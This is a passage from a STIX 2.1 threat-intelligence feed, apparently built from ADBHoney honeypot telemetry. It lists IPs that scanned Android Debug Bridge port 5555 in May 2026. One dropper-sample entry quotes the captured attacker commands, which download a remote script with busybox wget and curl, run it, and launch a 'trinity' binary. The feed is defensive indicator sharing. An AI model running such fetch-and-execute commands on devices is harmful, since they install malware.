      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-16T23:35:26.000Z | last_seen=2026-05-16T23:36:34.864Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--435cb6ed-9823-49b7-8fc6-5255ae9bc6a5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.68.225.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T00:00:15.000Z",
      "valid_until": "2026-06-18T00:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-16T23:35:26.000Z",
          "last_seen": "2026-05-16T23:36:34.864Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-17T00:00:15.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=28; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=290 | first_seen=2026-05-16T23:59:57.000Z | last_seen=2026-05-17T00:11:05.116Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--e5f98bb7-5f2c-48ba-8461-6f3e074b3c72",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.227.51.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T00:00:15.000Z",
      "valid_until": "2026-06-18T00:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 290,
          "first_seen": "2026-05-16T23:59:57.000Z",
          "last_seen": "2026-05-17T00:11:05.116Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-17T04:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=6 | first_seen=2026-05-17T03:55:25.000Z | last_seen=2026-05-17T03:56:31.015Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--07ef5216-53e2-4015-8a95-2912707fc9d7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '164.90.159.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T04:00:02.000Z",
      "valid_until": "2026-06-18T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 6,
          "first_seen": "2026-05-17T03:55:25.000Z",
          "last_seen": "2026-05-17T03:56:31.015Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-17T04:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=3 | first_seen=2026-05-17T03:54:13.000Z | last_seen=2026-05-17T03:55:20.325Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--4f7ff9d5-9a91-4e49-9f6b-e7ad9918059c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '27.9.156.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T04:00:02.000Z",
      "valid_until": "2026-06-18T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 3,
          "first_seen": "2026-05-17T03:54:13.000Z",
          "last_seen": "2026-05-17T03:55:20.325Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-17T07:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=10439; asn_org=CariNet, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=53 | first_seen=2026-05-17T05:55:53.000Z | last_seen=2026-05-23T14:05:38.681Z | ports=5555 | cc=US | asn=10439 | org=CariNet, Inc.",
      "id": "indicator--83cf0401-2069-4004-b084-764a3e58a429",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '71.6.134.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T07:00:02.000Z",
      "valid_until": "2026-06-18T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 53,
          "first_seen": "2026-05-17T05:55:53.000Z",
          "last_seen": "2026-05-23T14:05:38.681Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "10439"
          ],
          "org": [
            "CariNet, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-17T09:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=16 | first_seen=2026-05-17T08:47:52.000Z | last_seen=2026-05-17T08:58:42.479Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--be46e74a-f17b-4b33-a1ab-b24a72102711",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '147.182.246.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T09:00:03.000Z",
      "valid_until": "2026-06-18T09:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 16,
          "first_seen": "2026-05-17T08:47:52.000Z",
          "last_seen": "2026-05-17T08:58:42.479Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-17T10:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=9 | first_seen=2026-05-17T09:04:32.000Z | last_seen=2026-05-17T09:14:36.059Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--9a992da8-0669-40c0-9ada-304d14552518",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T10:00:02.000Z",
      "valid_until": "2026-06-18T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 9,
          "first_seen": "2026-05-17T09:04:32.000Z",
          "last_seen": "2026-05-17T09:14:36.059Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-17T10:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-17T09:02:38.000Z | last_seen=2026-05-17T09:03:44.092Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--c3b15e75-ac0d-4824-b253-187b7735bfec",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T10:00:02.000Z",
      "valid_until": "2026-06-18T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-17T09:02:38.000Z",
          "last_seen": "2026-05-17T09:03:44.092Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-17T16:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=6 | first_seen=2026-05-17T15:58:06.000Z | last_seen=2026-05-17T15:59:08.382Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--0667b55a-d49f-4ce6-882f-6e97865df3a5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.238.171.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T16:00:04.000Z",
      "valid_until": "2026-06-18T16:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 6,
          "first_seen": "2026-05-17T15:58:06.000Z",
          "last_seen": "2026-05-17T15:59:08.382Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-17T16:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-17T15:58:13.000Z | last_seen=2026-05-17T15:59:18.337Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--c323be35-08ce-45a9-8966-981d9d2307e1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.79.82.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T16:00:04.000Z",
      "valid_until": "2026-06-18T16:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-17T15:58:13.000Z",
          "last_seen": "2026-05-17T15:59:18.337Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-17T16:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-17T15:36:10.000Z | last_seen=2026-05-17T15:46:16.078Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--22365f69-1d12-48f5-ada1-099ff02833b7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T16:00:04.000Z",
      "valid_until": "2026-06-18T16:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-17T15:36:10.000Z",
          "last_seen": "2026-05-17T15:46:16.078Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-17T16:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-17T15:35:28.000Z | last_seen=2026-05-17T15:36:30.763Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--a5e866bb-a38a-472f-9105-2228042d2b1a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T16:00:04.000Z",
      "valid_until": "2026-06-18T16:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-17T15:35:28.000Z",
          "last_seen": "2026-05-17T15:36:30.763Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-17T16:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=6128; asn_org=Cablevision Systems Corp.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=14 | first_seen=2026-05-17T15:20:44.000Z | last_seen=2026-05-17T15:30:56.367Z | ports=5555 | cc=US | asn=6128 | org=Cablevision Systems Corp.",
      "id": "indicator--e4471aa1-344c-47c6-bd61-cb0e64c0a28c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '67.83.159.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T16:00:04.000Z",
      "valid_until": "2026-06-18T16:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 14,
          "first_seen": "2026-05-17T15:20:44.000Z",
          "last_seen": "2026-05-17T15:30:56.367Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6128"
          ],
          "org": [
            "Cablevision Systems Corp."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-17T21:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=59; ports=5555; cc=TR; asn=9121; asn_org=Turk Telekom; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-05. events=59 | first_seen=2026-05-17T20:07:47.000Z | last_seen=2026-05-17T20:19:10.692Z | ports=5555 | cc=TR | asn=9121 | org=Turk Telekom | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,26e72314a3c85dcd726ce1119d35279cb252d296cbe95504addd948ad32da9cc,71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--38f67d93-f4c0-48e1-9ca5-85621cc73b85",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '88.247.182.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T21:00:11.000Z",
      "valid_until": "2026-06-18T21:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 59,
          "first_seen": "2026-05-17T20:07:47.000Z",
          "last_seen": "2026-05-17T20:19:10.692Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "TR"
          ],
          "asn": [
            "9121"
          ],
          "org": [
            "Turk Telekom"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "26e72314a3c85dcd726ce1119d35279cb252d296cbe95504addd948ad32da9cc",
            "71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-17T21:00:11.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/26e72314a3c85dcd726ce1119d35279cb252d296cbe95504addd948ad32da9cc.raw; src_ip=88.247.182.131; src_ips=88.247.182.131; cc=TR; last_seen=2026-05-17T20:08:53.621Z; cmds=[OPENX.......F...Xb......shell:cd /data/local/tmp/; busybox wget http://83.168.110.191/cat.sh; sh cat.sh; curl http://83. | cd /data/local/tmp/; busybox wget http://83.168.110.191/cat.sh; sh cat.sh; curl http://83.168.110.191/cat.sh; sh cat.sh; | /data/local/tmp/nohup /data/local/tmp/trinity]",
      "id": "indicator--9308ad5d-e738-4f6f-8954-d4b310809846",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '26e72314a3c85dcd726ce1119d35279cb252d296cbe95504addd948ad32da9cc']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T21:00:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-17T23:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=41; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=41 | first_seen=2026-05-17T22:09:26.000Z | last_seen=2026-05-17T22:29:06.907Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--5707f942-ac88-4d90-998b-74c7af0906d5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '60.20.164.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T23:00:03.000Z",
      "valid_until": "2026-06-18T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 41,
          "first_seen": "2026-05-17T22:09:26.000Z",
          "last_seen": "2026-05-17T22:29:06.907Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
